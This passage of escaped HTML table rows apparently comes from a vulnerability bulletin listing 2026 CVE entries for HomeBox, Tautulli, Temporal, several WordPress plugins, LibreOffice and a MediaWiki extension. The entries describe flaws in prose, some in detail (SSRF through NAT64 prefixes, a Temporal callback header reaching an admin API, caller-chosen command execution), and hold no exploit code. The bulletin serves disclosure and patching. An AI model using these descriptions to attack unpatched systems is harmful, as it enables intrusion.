&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97165&quot; target=&quot;_blank&quot;&gt;CVE-2026-97165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sysadminsmedia--homebox&lt;/td&gt;
&lt;td&gt;HomeBox is a home inventory and organization system. Prior to 0.26.0, the default-on BlockBogonNets and BlockCloudMetadata notifier SSRF protections in backend/internal/sys/validate/notifier_url.go do not inspect IPv4 destinations embedded in the NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48. An authenticated user can submit a generic:// notifier through POST /v1/notifiers or POST /v1/notifiers/test, and on a Homebox instance that egresses through NAT64/DNS64, the gateway can translate an accepted IPv6 destination to cloud metadata, localhost, or another internal IPv4 host. The notifier test path returns delivery result information, and Shoutrrr propagates the response, providing feedback that can disclose retrieved metadata such as temporary credentials. Without NAT64 egress, the crafted IPv6 destination is not routable, but the guard still incorrectly classifies it as safe. This issue is fixed in version 0.26.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55473&quot; target=&quot;_blank&quot;&gt;CVE-2026-55473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tautulli--Tautulli&lt;/td&gt;
&lt;td&gt;Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashes. A backslash-quote sequence can terminate the string, so an unauthenticated attacker can send a crafted link that executes script in the Tautulli web context when an authenticated user follows it. This issue is fixed in version 2.17.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45381&quot; target=&quot;_blank&quot;&gt;CVE-2026-45381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tautulli--Tautulli&lt;/td&gt;
&lt;td&gt;Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletter_config.html into a JavaScript string without safe JSON encoding. An administrator or caller with the Tautulli API key can store a crafted cron value, and an administrator who later opens the newsletter configuration modal passively triggers script execution in the Tautulli web context. The stored value persists in the database and can continue to execute after credential rotation until it is removed. This issue is fixed in version 2.17.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49995&quot; target=&quot;_blank&quot;&gt;CVE-2026-49995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tautulli--Tautulli&lt;/td&gt;
&lt;td&gt;Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the import_config handler and the database_file branch of import_database in plexpy/webserve.py join the attacker-controlled config_file.filename or database_file.filename directly to CACHE_DIR without basename reduction or a containment check. An administrator or caller with the instance API key can submit a multipart filename containing parent-directory segments, causing the upload to be created or overwritten outside CACHE_DIR before file-content validation runs. The write is limited to paths permitted to the Tautulli process, but it can enable configuration tampering, service disruption, or code execution. This issue is fixed in version 2.17.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52835&quot; target=&quot;_blank&quot;&gt;CVE-2026-52835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Team Members--Team Members&lt;/td&gt;
&lt;td&gt;The Team Members WordPress plugin through 9.2 does not perform any authorization or visibility check in an unauthenticated AJAX action that returns full team member records by ID, allowing unauthenticated attackers to enumerate and disclose details, including email addresses and phone numbers, of team members the administrator has not published publicly.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11871&quot; target=&quot;_blank&quot;&gt;CVE-2026-11871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Teldat--Regesta Smart HD-PLC - TLDPH16D2&lt;/td&gt;
&lt;td&gt;An attacker with access via network to the Regesta Smart HD-PLC of the provider Teldat (in this case, registration action is required) who has the vulnerable firmware version could inject a specific payload&amp;nbsp;via the parameter &quot;cmdcookie&quot; withing the /upgrade/index.html resulting in to a Cross-Site Scripting (XSS).&amp;nbsp;This issue affects Regesta Smart HD-PLC - TLDPH16D2:&amp;nbsp; 11.02.06.00.02&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27867&quot; target=&quot;_blank&quot;&gt;CVE-2026-27867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--s2s-proxy&lt;/td&gt;
&lt;td&gt;All published s2s-proxy versions through 0.2.2 are affected. In versions 0.1.16 through 0.2.2, TLS server listeners use Go&#039;s RequireAnyClientCert mode when skipCAVerification is false. This mode checks that the client holds the certificate&#039;s private key but does not verify the certificate against the configured CA. An attacker can therefore use a self-signed certificate and key to establish a TLS and yamux connection, then invoke RPCs allowed by the proxy&#039;s configuration and Temporal credentials. No certificate or private key trusted by the deployment, and no Temporal credential, is required.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96770&quot; target=&quot;_blank&quot;&gt;CVE-2026-96770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--Temporal Server&lt;/td&gt;
&lt;td&gt;Temporal Server did not bound the work performed while searching for a Schedule&#039;s next action time. An authenticated caller with namespace write permission could create or update a Schedule that combines a fine-grained cadence with an exclusion calendar that rejects every candidate time, causing the server to evaluate excluded candidates without a per-search work budget. This can consume excessive CPU in Frontend and Schedule worker components. A persisted specification can also cause its backing Schedule Workflow to repeatedly fail and retry, allowing CPU consumption to continue without additional requests until the Schedule is deleted or its backing Workflow is terminated. Repeated or parallel exploitation can deny service. The issue affects availability only; it does not expose or modify Workflow data.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16652&quot; target=&quot;_blank&quot;&gt;CVE-2026-16652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--Temporal Server&lt;/td&gt;
&lt;td&gt;Temporal Server decided whether a Workflow completion callback was internal by reading a caller-supplied HTTP header. An authenticated caller holding only write permission in a single namespace could attach a completion callback whose URL host matched the configured callback address allowlist, whose URL path was any Temporal HTTP API route, and whose header map contained a non-empty header named source. When the History service delivered that callback, the non-empty source header caused it to re-target the request at the local frontend client and rewrite only the scheme and host, preserving the caller&#039;s path, query, and request body. Where an internal frontend is deployed with its HTTP API enabled, that client resolves to the internal frontend, which authorizes every request as a system administrator without requiring authentication information. The result is that the server performs an attacker-chosen state-changing HTTP POST against its own administrative API on the caller&#039;s behalf, in namespaces where the caller has no permission. The caller never needs network access to the internal frontend, because the History service makes the request. Confirmed effects include terminating Workflows in other namespaces, registering namespaces, modifying another namespace&#039;s configuration, and deleting another namespace and its Workflows. The affected routing logic is present in both the HSM and CHASM callback delivery implementations. This description and the CVSS score in this record describe releases 1.30.0 and later, where any non-empty source header is sufficient. Releases 1.25.0 through 1.29.7 are affected by a narrower form of the same defect in which the header must exactly match a configured cluster ID, a UUID that a namespace-scoped caller cannot read through the API. The consequence once that match occurs is the same, but the attack is materially harder and scores lower. To determine whether a deployment is affected, check two settings together: the static Server configuration for a non-zero services.internal-frontend.rpc.httpPort, and the effective per-namespace dynamic configuration value of component.callbacks.allowedAddresses. A deployment is exposed only when an internal frontend is deployed with a non-zero HTTP port, at least one allowlist rule admits a host, and authorization is enabled. The allowlist is empty by default, which denies all external callback URLs, and the stock static topology does not include an internal frontend. Note that a failed attach returns the error &#039;invalid url: url does not match any configured callback address&#039;, which proves only that one tested URL did not match and does not prove the effective allowlist is empty. To look for callbacks already attached, use DescribeWorkflowExecution, which returns callback information for a Workflow&#039;s registered completion callbacks. Operators should be aware of a gap when searching for evidence of delivery: the frontend HTTP API server records the request method and URL at debug level only, so at default log levels a delivered request is not written to the internal frontend&#039;s logs, and the absence of such log entries is not evidence that the issue was not exploited.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87858&quot; target=&quot;_blank&quot;&gt;CVE-2026-87858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--Temporal Server&lt;/td&gt;
&lt;td&gt;Temporal Server compiles a Worker Controller Instance module into its Worker Service, and that module registers a compute provider named subprocess whose function is to launch a worker by running a command on the machine hosting the Worker Service. The program name and the argument vector that provider executes are taken from the compute provider configuration supplied in the caller&#039;s request rather than from operator configuration. An authenticated caller holding only a write role in a single namespace can therefore configure a worker deployment version so that the Worker Service executes a command of the caller&#039;s choosing on its own host, under the account the server process runs as. Execution is immediate rather than deferred: the configuration handler invokes every provider using the invoke strategy directly after validating the submitted specification, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster&#039;s TLS material, the consequence reaches beyond the caller&#039;s namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container images for the affected releases. The only control that can keep it unreachable is the compute provider allowlist, the per-namespace dynamic configuration setting workercontroller.compute_providers.enabled, and that control does not deny by default: its default value is an unset list, and the allowlist check is skipped entirely when the value is unset, so every registered compute provider is permitted, this one included. To determine whether a deployment is affected, check the following together. The deployed Temporal Server version is 1.31.0 or later and earlier than 1.31.3. The Worker Service is running, which it is in the default service set and therefore in a stock deployment. The effective per-namespace value of workercontroller.compute_providers.enabled is either unset or contains subprocess. And authorization is configured, meaning a real authorizer and claim mapper are in place; a deployment running with no authorizer already grants every caller unrestricted access to every namespace, so it has no namespace boundary for this to cross. Note that the separate per-namespace dynamic configuration setting workercontroller.enabled does not gate the affected path. It defaults to false, and a deployment that has never set it in any namespace is still affected, which was confirmed by running an affected release with no value for that setting present anywhere in dynamic configuration. To look for a compute configuration that is already attached, call DescribeWorkerDeploymentVersion for each worker deployment version in each namespace and check whether any scaling group&#039;s compute provider type is subprocess.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89139&quot; target=&quot;_blank&quot;&gt;CVE-2026-89139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--temporalio/ringpop-go&lt;/td&gt;
&lt;td&gt;github.com/temporalio/ringpop-go enforces configured LabelOptions limits when an application changes the local node&#039;s labels, but affected versions do not apply those limits to label maps received in SWIM membership changes. A network peer that can reach a live Ringpop TChannel listener can repeatedly submit changes for distinct member addresses containing label keys, values, or counts that exceed the receiver&#039;s configured limits. Accepted labels are retained in the member list and disseminated to peers, allowing memory and gossip-bandwidth consumption to exceed configured bounds and potentially making the hosting process unavailable. The fix validates peer-supplied label maps before they are retained or disseminated. Availability only; no confidentiality or integrity impact was identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65654&quot; target=&quot;_blank&quot;&gt;CVE-2026-65654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--temporalio/sqlparser&lt;/td&gt;
&lt;td&gt;temporalio/sqlparser can panic when Parse, ParseStrictDDL, or ParseNext processes a MySQL version comment whose contents are empty or consist only of one to five decimal digits. ExtractMysqlComment does not check the -1 result returned by strings.IndexFunc before using it as a slice boundary. The resulting Go runtime panic propagates unless the caller recovers it on the parsing goroutine, so applications that parse attacker-controlled SQL can terminate. Temporal Server exposes the affected parser through ListWorkers. When that API is enabled, an authenticated caller with namespace read permission can submit a malformed query that terminates the receiving Matching process. Repeated requests can sustain a denial of service. The issue affects availability only; no confidentiality or integrity impact was identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16651&quot; target=&quot;_blank&quot;&gt;CVE-2026-16651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--temporalio/sqlparser&lt;/td&gt;
&lt;td&gt;temporalio/sqlparser accepts SQL containing deeply nested unary expressions and can return a correspondingly deep abstract syntax tree without enforcing an applicable nesting limit. The library&#039;s String and Walk operations recursively traverse that tree. An application that parses attacker-controlled SQL and later formats or walks the returned tree can encounter a runtime-fatal Go stack overflow that terminates the process; Go panic recovery cannot contain this condition. Temporal Server passes caller-controlled query input through the affected parser in archival, visibility, and worker-query paths. In affected validation paths, the Server recursively formats an invalid expression while constructing an error. In a supported authenticated deployment, a caller with namespace read permission can terminate the receiving Frontend or Matching process. The dynamically confirmed ListWorkers route additionally requires at least one retained worker heartbeat. Repeated requests can sustain a denial of service. The issue affects availability only; no confidentiality or integrity impact was identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65651&quot; target=&quot;_blank&quot;&gt;CVE-2026-65651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--temporalio/tchannel-go&lt;/td&gt;
&lt;td&gt;github.com/temporalio/tchannel-go did not validate the one-byte checksum-type field in inbound TChannel call frames. A network peer that can reach a listener can complete the standard initialization handshake and send a call request with an unsupported checksum type. The parser uses that value as an index into a four-entry checksum pool, causing an unrecovered Go panic on the connection read goroutine and terminating the hosting process. This allows remote denial of service against applications that expose the listener to untrusted peers. The impact is limited to availability; no confidentiality or integrity impact was identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65652&quot; target=&quot;_blank&quot;&gt;CVE-2026-65652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Temporal Technologies, Inc.--temporalio/tchannel-go&lt;/td&gt;
&lt;td&gt;github.com/temporalio/tchannel-go did not reject TChannel call fragments containing checksum metadata but no length-prefixed argument chunks. The fragment reader left its chunk slice empty and then unconditionally selected the first element. A network peer can supply such a malformed call fragment, including as a direct initial call request after completing the standard initialization handshake. On that inbound path, the resulting unrecovered Go slice-bounds panic occurs on a library-created dispatch goroutine and terminates the hosting process. This allows remote denial of service against applications that expose the listener to untrusted peers. The impact is limited to availability; no confidentiality or integrity impact was identified.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65653&quot; target=&quot;_blank&quot;&gt;CVE-2026-65653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Testimonials Widget--Testimonials Widget&lt;/td&gt;
&lt;td&gt;The Testimonials Widget WordPress plugin through 4.0.4 does not perform a capability or ownership check when handling its front-end testimonial submission form, allowing unauthenticated users to modify or create arbitrary posts, including overwriting the title, content and author of any existing post.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96532&quot; target=&quot;_blank&quot;&gt;CVE-2026-96532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Testimonials Widget--Testimonials Widget&lt;/td&gt;
&lt;td&gt;The Testimonials Widget WordPress plugin through 4.0.4 does not validate a user-supplied URL before fetching it server-side and storing the response as a public file, allowing unauthenticated users to make the server issue requests to internal services and read the responses.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96533&quot; target=&quot;_blank&quot;&gt;CVE-2026-96533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Text Styler--Text Styler&lt;/td&gt;
&lt;td&gt;The Text Styler WordPress plugin through 1.1.1 does not sanitise and escape user-supplied styling values before outputting them within a front-end style block, and does not verify that a user may edit the target post, allowing users with contributor-level access or above to store JavaScript that executes in the browser of anyone viewing the affected post, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88788&quot; target=&quot;_blank&quot;&gt;CVE-2026-88788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice can import WMF graphics, which may be embedded in documents. A heap buffer overflow existed when importing a text record that carries its own character advance widths. The count of advance values and the length of the text were read separately from the file and were not required to agree, so drawing the text walked the advance array by character position and ran past its end when the array was the shorter of the two. In fixed versions an advance array shorter than its text is ignored.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63272&quot; target=&quot;_blank&quot;&gt;CVE-2026-63272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice Draw can import PDF documents. A heap buffer overflow existed when importing an encrypted document. The length of the decryption key was taken from the document&#039;s own encryption dictionary and was used to fill a fixed size key buffer without being checked against it, so a length larger than that buffer wrote past its end. In fixed versions a declared key length larger than the buffer is rejected.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63273&quot; target=&quot;_blank&quot;&gt;CVE-2026-63273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice Draw can import PDF documents. A heap buffer overflow existed when importing a stream object. The length of the stream was taken from the object&#039;s own dictionary and was not checked against the number of bytes actually present, so copying the stream read and wrote past the end of the buffer holding it. In fixed versions the declared length is clamped to the bytes actually read.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63274&quot; target=&quot;_blank&quot;&gt;CVE-2026-63274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice can read CFF fonts, which may be embedded in documents. A stack buffer overflow existed when reading the hints of a glyph. The number of hints was checked against the wrong bound, so a glyph declaring more hints than the array can hold wrote past its end. In fixed versions the hint count is checked against the capacity the array really has.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63275&quot; target=&quot;_blank&quot;&gt;CVE-2026-63275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice converts CFF fonts to Type 1 when it subsets a font, which happens when a document is exported to PDF, and CFF fonts may be embedded in documents. A stack buffer overflow existed in that conversion. The converted operators were written into a fixed size buffer with no check that they still fit, so a glyph emitting many operators wrote past the end of the buffer. In fixed versions the remaining capacity is tracked and the conversion stops when it is used up.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63276&quot; target=&quot;_blank&quot;&gt;CVE-2026-63276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;URLs could be constructed which expanded environment variable or INI file values, so potentially sensitive information could be exfiltrated to a remote server on opening a document containing such links. The check added for CVE-2024-12426 did not recognise every way of naming the package content provider, so a URL that named it differently still reached the expansion. In fixed versions the package content provider is matched when the URL is checked.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63278&quot; target=&quot;_blank&quot;&gt;CVE-2026-63278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Document Foundation--LibreOffice&lt;/td&gt;
&lt;td&gt;LibreOffice can import PICT images, which may be embedded in documents. An out of bounds read existed when importing an image that uses a colour palette. The palette index held in the image data was used without being checked against the number of entries the palette has, so an index past the last entry read memory outside the palette. In fixed versions the palette index is limited to the entries present.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63279&quot; target=&quot;_blank&quot;&gt;CVE-2026-63279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Events Calendar--The Events Calendar&lt;/td&gt;
&lt;td&gt;The Events Calendar WordPress plugin before 6.17.5 does not check the post status of linked records before embedding their stored details into a public REST API response, allowing unauthenticated users to read the contents of records that have never been published.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84741&quot; target=&quot;_blank&quot;&gt;CVE-2026-84741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Events Calendar--The Events Calendar&lt;/td&gt;
&lt;td&gt;The Events Calendar WordPress plugin before 6.17.5 does not check the capability required to publish content before creating or updating it through its REST API, allowing users with a role that cannot normally publish, such as contributor, to publish content directly and bypass editorial review.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84742&quot; target=&quot;_blank&quot;&gt;CVE-2026-84742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Events Calendar--The Events Calendar&lt;/td&gt;
&lt;td&gt;The Events Calendar WordPress plugin before 6.17.5 does not perform a per-object capability check on one family of its REST write routes, allowing users with a low-privilege role such as contributor to modify, unpublish, trash and take ownership of records belonging to other users, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84743&quot; target=&quot;_blank&quot;&gt;CVE-2026-84743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Post Grid--The Post Grid&lt;/td&gt;
&lt;td&gt;The Post Grid WordPress plugin before 7.9.5 does not limit an expansion of the WordPress allowed-HTML list to its own markup and applies it site-wide, allowing users with the Contributor role and above to store iframe, style and input elements that are normally stripped from their content, leading to HTML injection (phishing frames, CSS defacement and spoofed input forms) that renders to any visitor and to administrators reviewing the content.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84151&quot; target=&quot;_blank&quot;&gt;CVE-2026-84151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Cargo extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in the Mediawiki - Cargo extension allows Stored XSS. This issue affects Mediawiki - Cargo extension: through 3.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96874&quot; target=&quot;_blank&quot;&gt;CVE-2026-96874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Cargo extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Mediawiki - Cargo extension allows Stored XSS. This issue affects Mediawiki - Cargo extension: through 3.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96875&quot; target=&quot;_blank&quot;&gt;CVE-2026-96875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Cargo extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Mediawiki - Cargo extension allows Reflected XSS. This issue affects Mediawiki - Cargo extension: through 3.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96876&quot; target=&quot;_blank&quot;&gt;CVE-2026-96876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Cargo extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Mediawiki - Cargo extension allows Reflected XSS. This issue affects Mediawiki - Cargo extension: through 3.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96877&quot; target=&quot;_blank&quot;&gt;CVE-2026-96877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Cargo extension&lt;/td&gt;
